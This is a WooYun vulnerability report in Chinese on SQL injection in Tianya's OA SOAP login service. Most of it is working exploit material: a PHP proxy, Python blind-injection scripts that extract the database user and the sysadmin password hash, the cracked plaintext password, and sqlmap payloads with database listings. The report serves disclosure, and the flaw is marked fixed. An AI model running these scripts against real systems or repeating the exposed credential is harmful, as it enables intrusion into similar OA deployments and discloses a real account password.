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缺陷编号：wooyun-2016-0209613

漏洞标题：天涯社区某分在存在SQL注入漏洞（附脚本）

相关厂商：天涯社区

漏洞作者： 路人甲

提交时间：2016-05-17 11:56

修复时间：2016-05-17 16:46

公开时间：2016-05-17 16:46

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2016-05-17： 细节已通知厂商并且等待厂商处理中
2016-05-17： 厂商已经确认，细节仅向厂商公开
2016-05-17： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

问题出在http://oa.tianya.cn/services/MobileService?wsdl
checkUserLogin

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="webservices.services.weaver.com.cn" xmlns:urn2="http://workflow.webservices.mobile.weaver">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:checkUserLogin>
           <urn:in0>1</urn:in0>
           <urn:in1>1</urn:in1>
           <urn:in2>1</urn:in2>
        </urn:checkUserLogin>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>


in0参数
正确返回5 错误返回4
使用如下脚本

<?php
$in0=$_GET['name'];
header("content-type:text/html;charset=utf-8");
try {
$client = new SoapClient('http://oa.tianya.cn/services/MobileService?wsdl');
$xml = "
<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/1999/XMLSchema'  xmlns:xsi='http://www.w3.org/1999/XMLSchema-instance' xmlns:m0='http://tempuri.org/' xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/' xmlns:urn='webservices.services.weaver.com.cn' xmlns:urn2='http://workflow.webservices.mobile.weaver'>
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:checkUserLogin>
           <urn:in0>1</urn:in0>
           <urn:in1>1</urn:in1>
           <urn:in2>1</urn:in2>
        </urn:checkUserLogin>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
$result=$client->checkUserLogin(array('in0'=>$in0,'in1'=>'123456','in2'=>1));
echo $result->out ;//显示结果  
} catch (SOAPFault $e) {
print_r('Exception:'.$e);
}
?>


然后访问http://*.*.*.*/xx.php?name=sysadmin
根据返回结果来判断是否正确
python脚本如下：
获取用户

#encoding=utf-8
import httplib
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded',
    'Content-Type': 'text/html;charset=UTF-8',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0',
}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive user:'
user= ''
for i in range(1, 8):
    for payload in payloads:
         
            conn = httplib.HTTPConnection('127.0.0.1', timeout=150)
            conn.request(method='GET',
                         url="/ty.php?name=1'or/**/ascii(substring(user,%s,1))=%s/**/and'a'='a"% (i, ord(payload)),
                         headers=headers)
            resp = conn.getresponse()
            html_doc = resp.read()
            conn.close()
            print '.',    
            if html_doc.count('5') > 0:
                user += payload
                print '\n\n[in progress]', user,
                break
print '\n\n[Done]  user is %s' % user


Snap98.png


漏洞证明：

获取sysadmin密码
主要代码

payloads = '0123456789ABCDEF'
print 'Start to retrive password:'
password= ''
for i in range(32):
    for j in payloads:
         
            conn = httplib.HTTPConnection('127.0.0.1', timeout=150)
            conn.request(method='GET',
                         url="/ty.php?name=sysadmin'/**/and/**/substring((select(password)/**/from/**/hrmresourcemanager/**/where/**/loginid='sysadmin'),"+str(i+1)+",1)='"+j+"'/**/and'1'='1",
                         headers=headers)
            resp = conn.getresponse()
            html_doc = resp.read()
            #print html_doc
            conn.close()
            print '.',    
            if html_doc.count('5') > 0:
                password += j
                print '\n\n[in progress]', password,
                break


Snap97.png


密码解密后为Tianya089*

Snap99.png


sqlmap跑的结果

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=sysadmin' AND 2387=2387 AND 'tJYN'='tJYN
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: name=sysadmin' AND 8324=(SELECT COUNT(*) FROM sysusers AS sys1,sysu
sers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6
,sysusers AS sys7) AND 'YqQh'='YqQh
---


available databases [8]:
[*] ecology
[*] ecology_test
[*] lumigens
[*] master
[*] model
[*] msdb
[*] tempdb
[*] update_log


select count(*) from HrmResource;:    '1557'


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2016-05-17 16:45

厂商回复：

已要求厂商处理

最新状态：

2016-05-17：已修复